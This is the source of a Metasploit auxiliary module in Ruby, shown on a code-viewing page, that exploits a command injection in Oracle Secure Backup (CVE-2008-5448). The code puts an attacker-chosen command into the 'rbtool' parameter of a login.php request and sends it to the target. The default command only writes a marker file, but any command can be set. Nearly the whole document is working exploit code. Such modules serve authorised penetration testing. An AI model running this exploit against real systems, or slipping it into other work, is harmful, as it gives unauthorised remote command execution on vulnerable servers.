Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',11'Description' => %q{12This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.13},14'Author' => [ 'MC' ],15'License' => MSF_LICENSE,16'References' =>17[18[ 'CVE', '2008-5448' ],19[ 'OSVDB', '51342' ],20[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],21[ 'ZDI', '09-003' ],22],23'DisclosureDate' => '2009-01-14'))2425register_options(26[27Opt::RPORT(443),28OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),29OptBool.new('SSL', [true, 'Use SSL', true]),30])31end3233def run3435r = Rex::Text.rand_text_english(2)3637cmd = datastore['CMD']3839uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="4041req = uri + Rex::Text.uri_encode(cmd)4243print_status("Sending command: #{datastore['CMD']}...")4445res = send_request_raw({'uri' => req,},5)4647print_status("Done.")4849end50end515253